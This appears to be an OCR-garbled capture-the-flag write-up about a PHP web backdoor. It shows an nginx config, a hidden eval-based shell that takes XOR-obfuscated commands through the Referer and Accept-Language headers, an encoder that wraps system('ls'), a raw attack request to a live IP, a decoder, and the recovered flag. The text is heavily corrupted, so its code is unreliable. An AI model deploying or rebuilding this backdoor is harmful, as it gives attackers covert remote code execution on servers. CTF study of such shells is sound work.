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¥ B hint.phpi#7r, 20— T /etc/nginx/sites-enabled/site.conf.
server {

listen 8080; ## listen for ipv4; this line is default and implied
listen [::]:8080; ## listen for ipv6

root /var/www/html;

index index.php index.html index.htm;

port_in_redirect off;

server_name _;

# Make site accessible from http://localhost/

#server_name localhost;

# If block for setting the time for the logfile

if ($time_iso8601 ~ "N\d{4})-(\d{2})-(\d{2})") {

set $year $1;

set $month $2;

set $day $3;

}

# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html

sendfile off;

set $http_x_forwarded_for_filt $http x forwarded for;

if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded for_filt $1?;

}
# Add stdout logging

access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;



error_log /var/log/nginx/error.log info;

location / {

# First attempt to serve request as file, then

# as directory, then fall back to index.html

try_files $uri $uri/ /index.php?g=3$uri&$args;
server_tokens off;

}

#error_page 404 /404 .html;

# redirect server error pages to the static page /50x.html
#

error_page 500 502 503 504 /50x.html;

location = /50x.html {

root /usr/share/nginx/html;

}

location ~ \.php$ {

try_files $uri $uri/ /index.php?q=%uri&$args;
fastcgi_split_path_info A.+\.php)(/.+)$;

fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;

include fastcgi_params;

fastcgi_param REMOTE_ADDR $http_x forwarded_for;
}

location ~ A. {

log_not_found off;

deny all;

}

location /web-img {

alias /imagesl/;

autoindex on;



}

location ~* \.(ini|docx|pcapng|doc)$ {
deny all;

}

include /var/wwwi/nginx[.]Jconf;

}
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location /web-img {

alias /images/;

autoindex on;

}
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Skh = "42f7",

$kf = "e9ac";

function x($t, $k)

{

$c = strlen($k);

$I = strlen($t);

$o=""

for ($i = 0; $i < $I;) {

for (§j = 0; ($j < $c && $i < $I); §j++, $i++) {

$o .= $H{Si} » Sk{$j};



}

}

return $o;

}

$r = $_SERVER;

$rr = @$r["HTTP_REFERER";
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {

$u = parse_url($rr);
parse_str($u["query"], $q);

$q = array_values($q);
preg_match_all("/(Tw])[\w-]+(?:;=0.(N\d]))?,?/", $ra, $m);
if ($q && $m) {

@session_start();

$s =& $ SESSION;

$ss = "substr";

$sl = "strtolower";

$i = $m[1][0] . $m1][1];

$h = $sl($ss(md5(Si . $kh), 0, 3));
$f = $sI($ss(md5($i . $kf), 0, 3));
$p=""

for ($z=1; $z

< count($m[1]); $z++) $p .= $q[$mM[2][$2]];
if (strpos($p, $h) === 0) {

Bs[i] ="

$p = $ss($p, 3);

}

if (array_key_exists(8i, $s)) {
$s[$i] .= $p;

$e = strpos($s[$i], $);

if ($e) {



$k = $kh . $kf;
ob_start();

@eval(@gzuncompress(@x(@base64 _decode(preg_replace(array("/_/", "/-I"), array("/", "+"), $ss($s[$i], O,
$e))), $k)));

$0 = ob_get_contents();

ob_end_clean();

$d = base64_encode(x(gzcompress($0o), $k));

print("$d$k>");

@session_destroy();

}

}

}

}
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$kh = "42f7",

$kf = "e9ac";

function x($t, $k) /$t=abc,$k=42f7e9ac $o=a.b"2.c’f a’key key=a
{

$c = strlen($k); // 8

3l = strlen($t);

$o="

for ($i = 0; $i < §I;) {

for ($j = 0; ($] < $¢ && $i < §I); Fj++, $i++) {

$o .= $t{$i} * $k{$j};

}



}

return $o;

}

Sk=%kh.3kf;

$payload=$_GETI[0];

$payload=gzcompress($payload);

$payload=x($payload,$k);

$payload=base64_encode($payload);

$payload=preg_replace(array("\/", "N\+/"), array(" ", "-"), $payload);

echo $payload;

HOfE N, thinFkfe Asystem(ls');, 75%payload /& TKENmMUKXKK7hYgkeM-7VZTQQjDM6
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zh-CN,zh;g=0.9,en-US;q=0.8,en;q=0.7
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Referer:http://220.249.52.133:50066/hack.php?
0=1&1=1&2=1&3=1&4=1&5=1&6=1&7=e8b&8=TK5NMUkKXKK7hYgkeM-7VZT QQjDM6&9="1ea
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i e
L GET /hack. php HTTPSL. 1 & 1 HTP/1. 1 200 oK
* Hest: 220, 248, 52 133: 50066 P 2 Server: mginxfl. 10,3 (Ubuntu)
¢ Cache=Contrel: max=age=0 : Date: Fri, 30 Oct 2020 06:06:24 GMT
i Upgrade-Insecure-Requests: 1 i Content-Type: text/html; charsetsUTF-3
5 User=Agent: Mozilla/5, 0 (Windews NT 10.0; WinGd:; x64) AppleWebKit /537,36 (KHTML, 3 Conmection: clese
like Gecke) Chremef84. 0. 4240. 111 Safarif537, 36 Vary: Accept-Enceding
B Accept: T Bxpives: Tha, 19 Hev 1981 08:52:00 GMT
text/hital, appl ication/xhtal+xal, appl ication/sal;q=0. 9, imagefavif, inage/webp, inage/ap § Cache-Control: ne-stere. no-cache, sust-revalidate, post-check=0, pre-check=0
ng. ®/*:2q=0. . spplication/signed=oxchange: v=b3:q=0, 9 I Pragea: no=cache
Accept-Encoding: gzip, deflate 10 Content-Leéngth: 117
& Referer: 11
http: /2200 249, 52. 133: 50066 /hack. php?0=1k1=1825]1 k3= 1 k4= k5= k6= 1ET=eSbEE=TH MUk KK ™ 12 <42f7eBac)
hiqkeM-TVITO DMELD=1ea r T 42/ 103clMEMqpqextUIGwE di TpX Fearer canv ideBzI5d] RxPodATshbA3 SeHoc Twqgk I t 422 ank Yhvz0 TRpSpD AN &EFr
Accept-Language: zh-CH, zh;qs0. 9, én-US;q%0. 8, en;q=0. T L) T
10 Cogkie: islegin=l; leck-here=cockie. php; PHPSESSID=hilgntcedblldreotbliiplalé
11 Commection: close
13
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function x($t, $k) /$t=abc,$k=42f7e9ac $o=a™.b"2.c/f a’key key=a
{

$c = strlen($k); // 8

3l = strien($t);



$o=""
for ($i = 0; $i < $1;) {
for ($j = 0; ($j < $c && $i < $); $j++, $i++) {
$0 .= St{$i} » Sk{Si);

}

}

return $o;

}

$kh = "42f7";
$kf = "e9ac™
$k=%kh.$kf;

$data="TK4z/1Q30UM8BMqgaqogGUIGwfdiYpXJGaeercamvideBzZ5d 1RxPqdAT shbA3SGHocZwqk9tdzZankyhV.

a I | ¥

$data=base64 decode($data);
$data=x($data,$k);
$data=@gzuncompress($data);

echo $data;
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—:I @® view-source:localhost/decode.php

1| <?php

2 | §flag="ctf {abTh3698-eceae—48c0-a669-bafe3213568¢c}”;
3| ?>
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